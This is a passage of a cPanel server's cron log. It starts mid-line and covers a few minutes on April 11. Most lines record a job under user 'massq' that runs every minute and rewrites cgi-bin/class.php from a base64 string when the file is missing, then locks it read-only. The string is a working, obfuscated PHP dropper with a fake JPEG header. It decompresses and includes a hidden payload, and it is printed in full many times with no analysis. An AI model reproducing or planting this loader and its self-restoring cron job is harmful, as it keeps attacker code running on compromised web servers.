KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:01:01 server CROND[10394]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 09:01:01 server run-parts(/etc/cron.hourly)[10394]: starting 0anacron
Apr 11 09:01:01 server run-parts(/etc/cron.hourly)[10413]: finished 0anacron
Apr 11 09:02:01 server CROND[10606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:03:01 server CROND[10692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:04:01 server CROND[10852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:05:01 server CROND[10906]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 09:05:01 server CROND[10908]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:05:01 server CROND[10910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:05:01 server CROND[10909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:06:01 server CROND[11024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:07:01 server CROND[11079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:08:01 server CROND[11130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:09:01 server CROND[11279]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 09:09:01 server CROND[11280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:10:01 server CROND[11348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:10:01 server CROND[11350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 09:10:01 server CROND[11349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 09:10:01 server CROND[11351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 09:11:01 server CROND[11462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:12:01 server CROND[11511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 09:12:01 server CROND[11512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:13:01 server CROND[11604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:14:01 server CROND[11651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 09:15:01 server CROND[11695]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
